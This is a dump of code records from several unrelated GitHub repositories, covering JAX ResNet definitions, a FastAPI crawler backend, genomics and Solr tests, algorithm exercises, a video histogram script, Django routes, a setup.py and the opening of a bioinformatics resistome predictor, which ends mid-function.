\"\"\"\n return resnet(key, num_classes, 56, in_channels, )\n\n\ndef wrn16_8(key: jax.random.PRNGKeyArray,\n num_classes: int = 10,\n in_channels: int = 3\n ) -> ResNet:\n \"\"\" WideResNet by Zagoruyko&Komodakis 17\n \"\"\"\n return wide_resnet(key, num_classes, 16, 8, in_channels, )\n\n\ndef wrn28_2(key: jax.random.PRNGKeyArray,\n num_classes: int = 10,\n in_channels: int = 3\n ) -> ResNet:\n \"\"\" WideResNet by Zagoruyko&Komodakis 17\n \"\"\"\n return wide_resnet(key, num_classes, 28, 2, in_channels, )\n\n\ndef wrn28_10(key: jax.random.PRNGKeyArray,\n num_classes: int = 10,\n in_channels: int = 3\n ) -> ResNet:\n \"\"\" WideResNet by Zagoruyko&Komodakis 17\n \"\"\"\n return wide_resnet(key, num_classes, 28, 10, in_channels)\n\n\ndef wrn40_2(key: jax.random.PRNGKeyArray,\n num_classes: int = 10,\n in_channels: int = 3\n ) -> ResNet:\n \"\"\" WideResNet by Zagoruyko&Komodakis 17\n \"\"\"\n return wide_resnet(key, num_classes, 40, 2, in_channels)\n\n\ndef group_norm(num_channels: int,\n num_groups: int = 8):\n return equinox.nn.GroupNorm(num_groups, num_channels)\n\n\ndef resnet20_gn(key: jax.random.PRNGKeyArray,\n num_classes: int = 10,\n in_channels: int = 3\n ) -> ResNet:\n \"\"\" ResNet by He+16 with GroupNorm\n \"\"\"\n return resnet(key, num_classes, 20, in_channels, norm=group_norm)\n\n\ndef resnet56_gn(key: jax.random.PRNGKeyArray,\n num_classes: int = 10,\n in_channels: int = 3\n ) -> ResNet:\n \"\"\" ResNet by He+16 with GroupNorm\n \"\"\"\n return resnet(key, num_classes, 56, in_channels, norm=group_norm)\n\n\ndef wrn28_2_gn(key: jax.random.PRNGKeyArray,\n num_classes: int = 10,\n in_channels: int = 3\n ) -> ResNet:\n \"\"\" WideResNet by Zagoruyko&Komodakis 17 with GroupNorm\n \"\"\"\n return wide_resnet(key, num_classes, 28, 2, in_channels, norm=group_norm)\n\n\ndef wrn40_2_gn(key: jax.random.PRNGKeyArray,\n num_classes: int = 10,\n in_channels: int = 3\n ) -> ResNet:\n \"\"\" WideResNet by Zagoruyko&Komodakis 17 with GroupNorm\n \"\"\"\n return wide_resnet(key, num_classes, 40, 2, in_channels, norm=group_norm)\n","repo_name":"moskomule/equinox_vision","sub_path":"equinox_vision/models/resnet.py","file_name":"resnet.py","file_ext":"py","file_size_in_byte":10249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"74943275292","text":"from fastapi import APIRouter, Depends, File, UploadFile\nfrom pydantic import BaseModel\nfrom .. import models\nfrom fishing.settings import *\nfrom sqlalchemy.orm import Session, joinedload, selectinload\nfrom typing import List\nfrom datetime import datetime, timedelta\nfrom db.connection import get_db\nimport requests, random, time, re, os\nfrom sqlalchemy import text\nfrom typing import List, Optional\nfrom datetime import datetime\nfrom pydantic import BaseModel\nfrom core.config import media_settings\nfrom core.timezone import get_local_timezone\n\nlocal_timezone = get_local_timezone()\nrouter = APIRouter()\n\nclass CrawledFishingData(BaseModel):\n\tdisplay_business_name: str\n\tuid: str\n\tbusiness_address: str\n\tharbor: str\n\tintroduce: Optional[str] = None\n\treferrer: str\n\n\n@router.post(f\"/api/{APPNAME}/crawler/create/sunsang24/fishing_data/\")\nasync def create_sunsang24_crawled_fishing_data(\n\t\tcrawled_data: CrawledFishingData = Depends(),\n\t\tthumbnail: Optional[UploadFile] = File(None),\n\t\tdb: Session = Depends(get_db)\n\t):\n\t\n\t#thumbnail = None\n\t# FishingCrawledData -> dict thumbnail: UploadFile = File(None)\n\tfishing_dict = crawled_data.dict(exclude_unset=True)\n\n\tif thumbnail is not None:\n\t\tcontents = await thumbnail.read()\n\t\tcurrentTime = datetime.now(local_timezone).strftime(\"%Y%m%d%H%M\")\n\n\t\tthumbnail_path = os.path.join(media_settings.IMG_DIR,currentTime)\n\n\t\tos.makedirs(thumbnail_path, exist_ok=True)\n\n\t\twith open((f\"{thumbnail_path}/{thumbnail.filename}\"), mode=\"wb\") as f:\n\t\t\tf.write(contents)\n\t\tfishing_dict['thumbnail'] = f\"{thumbnail_path}/{thumbnail.filename}\"[1:]\n\n\t\n\t# FishingCrawler\n\tfishing_crawler = db.query(models.FishingCrawler).filter_by(uid=fishing_dict['uid'], referrer=fishing_dict['referrer']).first()\n\tif not fishing_crawler:\n\t\tfishing_crawler = models.FishingCrawler(uid=fishing_dict['uid'], referrer=fishing_dict['referrer'])\n\t\tdb.add(fishing_crawler)\n\t\tdb.commit()\n\t\tdb.refresh(fishing_crawler)\n\tdel fishing_dict['uid']\n\tdel fishing_dict['referrer']\n\tfishing_dict['fishing_crawler_id'] = fishing_crawler.id\n\n\t# Harbor\n\tharbor = db.query(models.Harbor).filter_by(name=fishing_dict['harbor']).first()\n\tif not harbor:\n\t\tharbor = models.Harbor(name=fishing_dict['harbor'])\n\t\tdb.add(harbor)\n\t\tdb.commit()\n\t\tdb.refresh(harbor)\n\tdel fishing_dict['harbor']\n\tfishing_dict['harbor_id'] = harbor.id\n\n\t# FishingType\n\tfishing_type = db.query(models.FishingType).filter_by(name='선상').first()\n\tif not fishing_type:\n\t\tfishing_type = models.FishingType(name='선상')\n\t\tdb.add(fishing_type)\n\t\tdb.commit()\n\t\tdb.refresh(fishing_type)\n\tfishing_dict['fishing_type_id'] = fishing_type.id\n\n\t# Fishing\n\tfishing = db.query(models.Fishing).filter_by(fishing_crawler_id=fishing_dict['fishing_crawler_id']).first()\n\tif not fishing:\n\t\tfishing = models.Fishing(**fishing_dict)\n\t\tdb.add(fishing)\n\telse:\n\t\tfor key, value in fishing_dict.items():\n\t\t\tsetattr(fishing, key, value)\n\n\t# Save thumbnail image\t\n\n\tfishing.updated_at = text('updated_at')\n\tdb.commit()\n\tdb.refresh(fishing)\n\n\treturn fishing\n\n\n@router.get(f\"/api/{APPNAME}/crawler/read/sunsang24/fishing_data/\")\nasync def read_sunsang24_crawled_species_data(\n\t\tdb: Session = Depends(get_db)\n\t):\n\texample = db.query(models.Fishing).options(joinedload(models.Fishing.fishing_crawler)).all()\n\treturn example\n\n\nclass CrawledSpeciesData(BaseModel):\n\tpk: int\n\tspecies: Optional[str] = None\n\tmonth: str\n\tdisplay_business_name: str\n\tmaximum_seat: int\n\n@router.post(f\"/api/{APPNAME}/crawler/create/species_data/\")\nasync def create_species_data(\n\t\tcrawled_data: CrawledSpeciesData,\n\t\tdb: Session = Depends(get_db)\n\t):\n\tfishing_dict = crawled_data.dict(exclude_unset=True)\n\tpk = fishing_dict['pk']\n\tspecies = fishing_dict['species']\n\tmonth = fishing_dict['month']\n\tdisplay_business_name = fishing_dict['display_business_name']\n\tmaximum_seat = fishing_dict['maximum_seat']\n\n\tfishing_obj = db.query(models.Fishing).filter_by(id=pk, display_business_name=display_business_name).first()\n\tif fishing_obj:\n\t\tif maximum_seat > fishing_obj.maximum_seat:\n\t\t\tfishing_obj.maximum_seat = maximum_seat\n\t\t\tdb.commit()\n\telse:\n\t\treturn {'result': '200'}\n\t\t\n\t# handle SpeciesMonth objects\n\tspecies_items = {}\n\n\tif species is not None:\n\t\t# create or update SpeciesMonth\n\t\tfishing_month_obj = db.query(models.FishingMonth).filter_by(fishing_id=pk, month=month).first()\n\t\tif not fishing_month_obj:\n\t\t\tfishing_month_obj = models.FishingMonth(\n\t\t\t\tfishing=fishing_obj,\n\t\t\t\tmonth=month,\n\t\t\t\tmaximum_seat=maximum_seat,\n\t\t\t)\n\t\t\tdb.add(fishing_month_obj)\n\n\t\telse:\n\t\t\tif maximum_seat > fishing_month_obj.maximum_seat:\n\t\t\t\tfishing_month_obj.maximum_seat = maximum_seat\n\t\t\t\t\n\n\t\tdb.commit()\n\t\tdb.refresh(fishing_month_obj)\n\t\t\n\t\tdb.query(models.FishingSpecies).filter_by(fishing_month_id=fishing_month_obj.id).delete()\n\t\tdb.commit()\n\n\t\tfor specie in species.split(','):\n\t\t\t# fetch SpeciesItem\n\t\t\tif specie not in species_items:\n\t\t\t\tfishing_species_item_obj = db.query(models.FishingSpeciesItem).filter_by(name=specie).first()\n\t\t\t\tif not fishing_species_item_obj:\n\t\t\t\t\tfishing_species_item_obj = models.FishingSpeciesItem(name=specie)\n\t\t\t\t\tdb.add(fishing_species_item_obj)\n\t\t\t\t\tdb.commit()\n\t\t\t\tspecies_items[specie] = fishing_species_item_obj\n\n\n\t\t\t\n\t\t\tfishing_species_obj = models.FishingSpecies(\n\t\t\t\tfishing_month=fishing_month_obj,\n\t\t\t\tfishing_species_item=species_items[specie],\n\t\t\t)\n\t\t\tdb.add(fishing_species_obj)\n\t\t\tdb.commit()\n\n\n\t\tdb.commit()\n\t\tdb.refresh(fishing_obj)\n\n\treturn {'result': '200'}\n\n\n\nclass CrawledBookedData(BaseModel):\n\tpk: int\n\tdate: str\n\tdisplay_business_name: str\n\tbooked_seat: int\n\n@router.post(f\"/api/{APPNAME}/crawler/create/booked_data/\")\nasync def create_booked_data(\n\t\tcrawled_data: CrawledBookedData,\n\t\tdb: Session = Depends(get_db)\n\t):\n\tfishing_dict = crawled_data.dict(exclude_unset=True)\n\tpk, date, display_business_name, booked_seat = (\n fishing_dict['pk'],\n datetime.strptime(fishing_dict['date'], '%Y-%m-%d').date(),\n fishing_dict['display_business_name'],\n fishing_dict['booked_seat']\n\t)\n\n\tfishing_obj = db.query(models.Fishing).filter(\n\t\tmodels.Fishing.id == pk, models.Fishing.display_business_name == display_business_name\n\t).first()\n\tif not fishing_obj:\n\t\treturn {'result': '200'}\t\t\n\t\t\n\t\t\n\tfishing_obj.needs_check = False\n\tdb.commit()\n\tdb.refresh(fishing_obj)\n\n\t\n\tfishing_booked_obj = db.query(models.FishingBooking).filter_by(fishing_id = pk, date=date).first()\n\tif not fishing_booked_obj:\n\t\tfishing_booked_obj = models.FishingBooking(\n\t\t\tfishing=fishing_obj,\n\t\t\tdate=date,\n\t\t\tuser_id=1,\n\t\t\tperson=booked_seat,\n\t\t)\n\t\tdb.add(fishing_booked_obj)\n\telse:\n\t\tfishing_booked_obj.person: booked_seat\n\n\tdb.commit()\n\tdb.refresh(fishing_booked_obj)\n\n\n\treturn {'result': '200'}\n\n\n\nclass UpdateSiteUrlBaseModel(BaseModel):\n\tpk: int\n\tsite_url: str\n\n@router.post(f\"/api/{APPNAME}/crawler/update/site_url/\")\nasync def update_site_url(\n\t\tcrawled_data: UpdateSiteUrlBaseModel,\n\t\tdb: Session = Depends(get_db)\n\t):\n\tfishing_dict = crawled_data.dict(exclude_unset=True)\n\tpk, site_url = (\n fishing_dict['pk'],\n\t\tfishing_dict['site_url']\n\t)\n\n\tfishing_obj = db.query(models.Fishing).filter(\n\t\tmodels.Fishing.id == pk\n\t).first()\n\n\tif not fishing_obj:\n\t\treturn {'result': '200'}\t\t\n\t\t\n\tfishing_obj.site_url = site_url\n\tdb.commit()\n\tdb.refresh(fishing_obj)\n\n\treturn {'result': '200'}","repo_name":"newsoft111/danakka","sub_path":"danakka-backend/fishing/crawler/crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":7247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7955707879","text":"from pathlib import Path\n\nfrom pandas_genomics import io\nfrom pandas_genomics.scalars import Region\n\nDATA_DIR = Path(__file__).parent.parent / \"data\" / \"bed\"\n\n\ndef test_bed():\n input = DATA_DIR / \"bed_test.bed\"\n result = io.from_bed(input)\n assert list(result) == [\n Region(\"chr7\", 127471197, 127472364, \"Pos1\"),\n Region(\"chr7\", 127472364, 127473531, \"Pos2\"),\n Region(\"chr7\", 127473531, 127474698, \"Pos3\"),\n ]\n","repo_name":"HallLab/pandas-genomics","sub_path":"tests/io/test_bed.py","file_name":"test_bed.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"32"} +{"seq_id":"7309120743","text":"# Given a string s, find the length of the longest substring without repeating characters.\n\ns = \"\" # Ans =3 string is abc\n\n# The basic approach would be to create all sub arrays and check if the ssub-string has any repeting chars:\n\n\n# I will directly jump to the optimal solution using hashing and two pointers front and back which will store the length of the subarray \n# with the current largest length.\n\nrecord={}\nfront=back=length=0\nfor x in s:\n if x in record.keys():\n if record[x]+1>back:\n\n back=record[x]+1\n record[x]=front\n \n else:\n record[x]=front\n length=max(length,front-back+1)\n front+=1\nprint(length)\n","repo_name":"AkshayKumarTripathi/Algorithms-And-Data-Structures","sub_path":"Day 4 (Hashing)/Longest substring without repeat.py","file_name":"Longest substring without repeat.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"3474880908","text":"'Run in terminal the command \"speedtest-cli\" '\n\nimport speedtest\n \n \nst = speedtest.Speedtest()\n\nservers = st.get_servers()\nprint(servers)\n\nprint(st.download())\nprint(st.upload())\n\nservernames =[]\nst.get_servers(servernames)\nprint(st.results.ping)\n","repo_name":"H0r4c3/Python_00_ALL","sub_path":"modules/speedtest/Speedtest().py","file_name":"Speedtest().py","file_ext":"py","file_size_in_byte":250,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"18099695185","text":"import numpy as np\n\n\nclass PageRank:\n def __init__(self, M, d, max_iter=100, tol=1e-6):\n self.M = M\n self.n = M.shape[0]\n self.d = d\n self.max_iter = max_iter\n self.tol = tol\n\n def compute(self):\n A = self.d * self.M + (1 - self.d) / self.n * np.ones((self.n, self.n))\n\n xt = np.random.random(self.n)\n for i in range(self.max_iter):\n yt1 = A @ xt\n xt1 = yt1 / np.max(yt1)\n\n if np.linalg.norm(xt1 - xt, ord=2) < self.tol:\n break\n else:\n xt = xt1\n\n return xt / np.linalg.norm(xt, ord=2)\n","repo_name":"onwardever/mltins","sub_path":"mltins/pagerank.py","file_name":"pagerank.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8352227504","text":"import os\r\nimport cv2\r\nfrom matplotlib import pyplot as plt\r\nimport matplotlib.gridspec as gridspec\r\nfrom moviepy.editor import VideoFileClip, clips_array\r\nimport glob\r\nimport re\r\n\r\n\r\ndef delete_files(folder): # deletes all files in a folder\r\n for filename in folder:\r\n os.remove(filename)\r\n\r\n\r\ndef numerical_sort(value): # it sorts the files in order (in this case the histograms)\r\n numbers = re.compile(r'(\\d+)')\r\n parts = numbers.split(value)\r\n parts[1::2] = map(int, parts[1::2])\r\n return parts\r\n\r\n\r\ndef yuv_histogram(image, count): # we generate the 3 YUV plots\r\n\r\n yuv_image = cv2.cvtColor(image, cv2.COLOR_BGR2YUV)\r\n\r\n y, u, v = cv2.split(yuv_image)\r\n\r\n gs = gridspec.GridSpec(3, 1)\r\n\r\n plt.figure()\r\n plt.subplot(gs[0, 0])\r\n plt.hist(y.ravel(), 256, [0, 256])\r\n plt.gca().axes.xaxis.set_ticklabels([])\r\n plt.gca().axes.yaxis.set_ticklabels([])\r\n plt.title(\"Y histogram (Luminance)\") # we generate the Y plot\r\n\r\n plt.subplot(gs[1, 0])\r\n plt.hist(u.ravel(), 256, [0, 256])\r\n plt.gca().axes.xaxis.set_ticklabels([])\r\n plt.gca().axes.yaxis.set_ticklabels([])\r\n plt.title(\"U histogram (Cb)\") # we generate the U plot\r\n\r\n plt.subplot(gs[2, 0])\r\n plt.hist(v.ravel(), 256, [0, 256])\r\n plt.gca().axes.xaxis.set_ticklabels([])\r\n plt.gca().axes.yaxis.set_ticklabels([])\r\n plt.title(\"V histogram (Cr)\") # we generate the V plot\r\n\r\n plt.savefig(\"histograms/histogram%d.jpg\" % count) # we save all the histograms .jpg in a folder\r\n\r\n\r\ndef extract_frames(video): # we extract all the frames from the cut video\r\n vidcap = cv2.VideoCapture(video)\r\n success, frame = vidcap.read()\r\n frames = []\r\n while success:\r\n success, frame = vidcap.read()\r\n frames.append(frame)\r\n return frames\r\n\r\n\r\ndef extract_histograms(frames): # we create an histogram for every 30 frames because the video has 30 fps\r\n count = 0 # so we create an histogram per second\r\n for i in range(0, len(frames), 30):\r\n yuv_histogram(frames[i], count)\r\n count += 1\r\n\r\n\r\ndef create_histogram_video(): # we use all the histogram like frames to create a 1fps histogram video that can\r\n histograms = [] # match the original video duration\r\n for filename in sorted(glob.glob(\"histograms/*.jpg\"), key=numerical_sort):\r\n hist = cv2.imread(filename)\r\n height, width, layers = hist.shape\r\n size = (width, height)\r\n histograms.append(hist)\r\n\r\n out = cv2.VideoWriter('BBB/histograms.mp4', cv2.VideoWriter_fourcc('m', 'p', '4', 'v'), 1, size)\r\n\r\n for i in range(len(histograms)):\r\n out.write(histograms[i])\r\n out.release()\r\n\r\n\r\ndef create_final_video(video): # once we have both videos, we define the same exact duration and we create a new\r\n og_video = VideoFileClip(video) # video that shows both of them side to side\r\n duration = og_video.duration\r\n final_hist = VideoFileClip(\"BBB/histograms.mp4\").subclip(0, duration)\r\n og_video = og_video.subclip(0, duration)\r\n combined = clips_array([[og_video, final_hist]])\r\n\r\n combined.write_videofile(\"BBB/final_histogram_video.mp4\")\r\n\r\n histograms_path = glob.glob('histograms/*')\r\n delete_files(histograms_path) # finally, we delete all the histogram video frames\r\n","repo_name":"polmontagut/S2","sub_path":"yuv_histogram.py","file_name":"yuv_histogram.py","file_ext":"py","file_size_in_byte":3311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"39669005674","text":"from os import *\r\nfrom sys import *\r\nfrom collections import *\r\nfrom math import *\r\n\r\nfrom typing import List\r\n\r\n\r\ndef divisibleSet(arr: List[int]) -> List[int]:\r\n # Write your code here.\r\n arr.sort()\r\n n = len(arr)\r\n\r\n dp = [1]*n\r\n hash = [0]*n\r\n maxi = -1\r\n for i in range(n):\r\n hash[i] = i\r\n for j in range(i):\r\n if arr[i] % arr[j] == 0:\r\n #dp[i] = max(dp[i] , 1+dp[j])\r\n if dp[i] < 1 + dp[j]:\r\n dp[i] = 1 + dp[j]\r\n hash[i] = j\r\n #maxi = max(maxi , dp[i])\r\n if dp[i] > maxi:\r\n maxi = dp[i]\r\n last_index = i\r\n res = []\r\n res.append(arr[last_index])\r\n while hash[last_index] != last_index:\r\n last_index = hash[last_index]\r\n res.append(arr[last_index])\r\n return res[::-1]\r\n\r\n return maxi\r\n","repo_name":"Rajitchauhan/Coding-pattern-and-algorithms-for-cracking-the-coding-interview","sub_path":"Python/Pattern wise question/Dynamic_programming/Striver/LIS/2_Longest_divisible_subset.py","file_name":"2_Longest_divisible_subset.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"29814056172","text":"import os\n\nimport testinfra.utils.ansible_runner\n\ntestinfra_hosts = testinfra.utils.ansible_runner.AnsibleRunner(\n os.environ['MOLECULE_INVENTORY_FILE']).get_hosts('all')\n\nsolr_home = '/var/solr'\nsolr_core = 'catalog'\nsolr_log_file_path = '/var/log/solr/solr.log'\nsolr_port = '8983'\n\n\ndef test_solr_service(host):\n solr = host.service('solr')\n\n assert solr.is_running\n assert solr.is_enabled\n\n\ndef test_solr_port(host):\n socket = host.socket('tcp://0.0.0.0:8983')\n\n assert socket.is_listening\n\n\ndef test_solr_schema(host):\n schema = host.file('%s/%s/conf/schema.xml' % (solr_home, solr_core))\n\n assert schema.exists\n\n\ndef test_solrconfig(host):\n config = host.file('%s/%s/conf/solrconfig.xml'\n % (solr_home, solr_core))\n\n assert config.exists\n assert config.contains('')\n\n\ndef test_solr_core(host):\n host.ansible(\n 'uri',\n 'url=http://localhost:%s/solr/%s/get' % (solr_port, solr_core),\n check=False\n )\n\n\ndef test_solr_log_file(host):\n log_file = host.file(solr_log_file_path)\n assert log_file.exists\n assert log_file.size > 0\n","repo_name":"GSA/datagov-deploy-solr","sub_path":"molecule/solr4/tests/test_default.py","file_name":"test_default.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"5197847346","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.inicio, name='inicio'),\n\n path('login/', views.login, name='login'),\n path('logout/', views.logout, name='logout'),\n\n path('pedido/', views.pedido, name='pedido'),\n path('pedido/novo/', views.ped_novo, name='ped_novo'),\n path('pedido/edita/', views.ped_edita, name='ped_edita'),\n path('pedido/deleta/', views.ped_deleta, name='ped_deleta'),\n\n path('pedido/copia/', views.copiar_pedido, name='copiar_pedido'),\n \n path('pedido//dados', views.ped_dados, name='ped_dados'),\n path('pedido//dados/deleta/', views.ped_dados_deleta, name='ped_dados_deleta'),\n\n path('fornecedor/', views.fornecedor, name='fornecedor'),\n path('fornecedor/novo/', views.forn_novo, name='forn_novo'),\n path('fornecedor/edita/', views.forn_edita, name='forn_edita'),\n path('fornecedor/deleta/', views.forn_deleta, name='forn_deleta'),\n\n path('relatorio/', views.relatorio, name='relatorio'),\n\n path('classificacao/', views.classificacao, name='classificacao'),\n\n path('pedido//imprimir/', views.imprimir, name='imprimir'),\n\n path('pedido/dados/baixa/', views.baixa, name='baixa'),\n path('pedido//baixa_todo/', views.baixar_todo_pedido, name='baixar_todo_pedido'),\n]","repo_name":"luancunha/sistema-zizi","sub_path":"sistema/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12672345902","text":"import pathlib\nimport setuptools\n\n# The directory containing this file\nTOPLEVEL_DIR = pathlib.Path(__file__).parent.absolute()\nABOUT_FILE = TOPLEVEL_DIR / \"pySC\" / \"__init__.py\"\nREADME = TOPLEVEL_DIR / \"README.md\"\n\n# Information about pySC package\nABOUT_PYSC: dict = {}\nwith ABOUT_FILE.open(\"r\") as f:\n exec(f.read(), ABOUT_PYSC)\n\nwith README.open(\"r\") as docs:\n long_description = docs.read()\n\n# Dependencies for the package itself\nDEPENDENCIES = [\n \"numpy>=1.22.0\",\n \"scipy>=1.8.0\",\n \"matplotlib>=3.5.0\",\n \"accelerator-toolbox>=0.4.0\"\n\n]\n\n# Extra dependencies\nEXTRA_DEPENDENCIES = {\n \"test\": [\n \"pytest>=7.0\",\n \"pytest-cov>=3.0\",\n\n\n ],\n \"doc\": [\n \"sphinx\",\n \"travis-sphinx\",\n \"sphinx-rtd-theme\"\n ]}\n\nEXTRA_DEPENDENCIES.update(\n {'all': [elem for list_ in EXTRA_DEPENDENCIES.values() for elem in list_]}\n)\n\nsetuptools.setup(\n name=ABOUT_PYSC[\"__title__\"],\n version=ABOUT_PYSC[\"__version__\"],\n description=ABOUT_PYSC[\"__description__\"],\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n author=ABOUT_PYSC[\"__author__\"],\n author_email=ABOUT_PYSC[\"__author_email__\"],\n url=ABOUT_PYSC[\"__url__\"],\n packages=setuptools.find_packages(exclude=[\"tests\", \"doc\"]),\n python_requires=\">=3.8\",\n classifiers=[\n \"Intended Audience :: Science/Research\",\n \"Natural Language :: English\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 3 :: Only\",\n \"Programming Language :: Python :: 3.8\",\n \"Programming Language :: Python :: 3.9\",\n \"Programming Language :: Python :: 3.10\",\n \"Programming Language :: Python :: 3.11\",\n \"Topic :: Scientific/Engineering :: Physics\",\n ],\n install_requires=DEPENDENCIES,\n tests_require=EXTRA_DEPENDENCIES[\"test\"],\n extras_require=EXTRA_DEPENDENCIES,\n)\n","repo_name":"lmalina/pySC","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1899,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"32"} +{"seq_id":"75116896410","text":"from app.Base import RGIBase\nfrom app.Database import Database\nfrom app.Blast import Blast\nfrom app.Diamond import Diamond\nfrom app.ORF import ORF, PyORF\nfrom app.Filter import Filter\n\nimport filetype\nfrom Bio import SeqIO\nimport glob\nimport time, shutil\nimport gzip, zlib\nimport bz2\nfrom app.settings import *\n\nclass RGI(RGIBase):\n\t\"\"\"Class to predict resistome(s) from protein or nucleotide data based on CARD detection models.\"\"\"\n\n\tdef __init__(self,input_type='contig',input_sequence=None,threads=32,output_file=None,loose=False, \\\n\t\t\t\tclean=True,data='na',aligner='blast',galaxy=None, local_database=False, low_quality=False, debug=False, split_prodigal_jobs=False, include_nudge=False, keep=False, orf_finder='prodigal'):\n\t\t\"\"\"Creates RGI object for resistome(s) prediction.\"\"\"\n\n\t\to_f_path, o_f_name = os.path.split(os.path.abspath(output_file))\n\n\t\tself.input_type = input_type.lower()\n\t\tself.input_sequence = os.path.abspath(input_sequence)\n\t\tself.threads = threads\n\t\tself.num_sequences = 1\n\t\tself.output_file = os.path.abspath(output_file)\n\t\tself.loose = loose\n\t\tself.clean = clean\n\t\tself.data = data\n\t\tself.aligner = aligner.lower()\n\t\tself.orf_finder = orf_finder.lower()\n\t\tself.database = galaxy\n\t\tself.low_quality = low_quality\n\n\t\tself.local_database = local_database\n\t\tself.db = path\n\t\tself.dp = data_path\n\n\t\tif self.local_database:\n\t\t\tself.db = LOCAL_DATABASE\n\t\t\tself.dp = LOCAL_DATABASE\n\n\t\tself.working_directory = o_f_path\n\t\tself.blast_results_xml_file = ''\n\t\tself.debug = debug\n\t\tself.split_prodigal_jobs = split_prodigal_jobs\n\t\tself.include_nudge = include_nudge\n\t\tself.umcompressed_file = \"\"\n\t\tself.keep = keep\n\n\t\tif self.debug:\n\t\t\tlogger.setLevel(10)\n\n\t\tsuper(RGIBase, self).__init__()\n\n\tdef __repr__(self):\n\t\t\"\"\"Returns RGI class full object.\"\"\"\n\t\treturn \"RGI({}\".format(self.__dict__)\n\n\t@classmethod\n\tdef from_string(cls,cmd_string):\n\t\t\"\"\"Creates RGI object from string.\"\"\"\n\t\tinput_type,input_sequence,threads,num_sequences,output_file,aligner,database = cmd_string.split('@')\n\t\treturn cls(input_type,input_sequence,threads,num_sequences,output_file,aligner,database)\n\n\t@classmethod\n\tdef from_args(cls, *initial_data, **kwargs):\n\t\t\"\"\"Creates RGI object from args.\"\"\"\n\t\tfor dictionary in initial_data:\n\t\t\tfor key in dictionary:\n\t\t\t\tif key in ['input_type','loose','clean','aligner']:\n\t\t\t\t\tsetattr(cls, key, dictionary[key].lower())\n\t\t\t\tsetattr(cls, key, dictionary[key])\n\n\t\tfor key in kwargs:\n\t\t\tif key in ['input_type','loose','clean','aligner']:\n\t\t\t\tsetattr(cls, key, kwargs[key].lower())\n\t\t\tsetattr(cls, key, kwargs[key])\n\n\t\treturn cls()\n\n\tdef validate_inputs(self):\n\t\t\"\"\"Validate inputs.\n\n\t\t\t- validate input file name and out file name\n\t\t\t- validation for mutually exclusive options e.g. protein sequence for contig input_type etc\n\t\t\"\"\"\n\t\tif not os.path.exists(self.input_sequence):\n\t\t\tlogger.error(\"input file does not exist: {}\".format(self.input_sequence))\n\t\t\texit()\n\n # otherwise you blow up your input when deleting intermediate files\n\t\tif self.output_file == self.input_sequence and self.clean:\n\t\t\tlogger.error(\"output path same as input, must specify \"\n\t\t\t\t\t\t \"different path when cleaning to prevent \"\n\t\t\t\t\t \"accidental deletion of input files\")\n\t\t\texit()\n\n\t\tlogger.info(\"{} => {}\".format(self.input_sequence, filetype.guess(self.input_sequence)))\n\t\tkind = filetype.guess(self.input_sequence)\n\n\t\tif kind is None:\n\t\t\tif self.is_fasta() == False:\n\t\t\t\tlogger.error(\"invalid fasta\")\n\t\t\t\texit()\n\t\telse:\n\t\t\tif kind.extension in [\"gz\",\"bz2\"]:\n\t\t\t\tif self.is_fasta(kind.extension) == False:\n\t\t\t\t\tlogger.error(\"invalid fasta\")\n\t\t\t\t\texit()\n\t\t\t\t# uncompressed input and use uncompressed file\n\t\t\t\tfilename = os.path.basename(self.input_sequence)\n\t\t\t\tumcompressed_file = os.path.join(self.working_directory, \"{}.temp.uncompressed.fsa\".format(filename))\n\t\t\t\twith open(umcompressed_file, \"w\") as file_out:\n\t\t\t\t\tif kind.extension == \"gz\":\n\t\t\t\t\t\twith gzip.open(self.input_sequence, \"rt\") as handle:\n\t\t\t\t\t\t\tfile_out.write(handle.read())\n\t\t\t\t\telse:\n\t\t\t\t\t\twith bz2.open(self.input_sequence, \"rt\") as handle:\n\t\t\t\t\t\t\tfile_out.write(handle.read())\n\n\t\t\t\tself.input_sequence = umcompressed_file\n\t\t\t\tself.umcompressed_file = umcompressed_file\n\t\t\telse:\n\t\t\t\tlogger.error(\"Sorry, no support for file format {}\".format(kind.mime))\n\t\t\t\texit()\n\n\t\tif self.threads > os.cpu_count():\n\t\t\tlogger.error(\"Argument num_threads illegal value, expected (>=1 and =<{}): given `{}`)\".format(os.cpu_count(), self.threads))\n\t\t\texit()\n\n\tdef is_fasta(self,extension=\"\"):\n\t\t\"\"\"Checks for valid fasta format.\"\"\"\n\t\tif extension == \"\":\n\t\t\twith open(self.input_sequence, \"r\") as handle:\n\t\t\t\tfasta = SeqIO.parse(handle, \"fasta\")\n\t\t\t\tself.check_record(fasta)\n\t\t\t\treturn True\n\t\telif extension in [\"gz\", \"bz2\"]:\n\t\t\tif extension == \"gz\":\n\t\t\t\twith gzip.open(self.input_sequence, \"rt\") as handle:\n\t\t\t\t\tfasta = SeqIO.parse(handle, \"fasta\")\n\t\t\t\t\tself.check_record(fasta)\n\t\t\telse:\n\t\t\t\twith bz2.open(self.input_sequence, \"rt\") as handle:\n\t\t\t\t\tfasta = 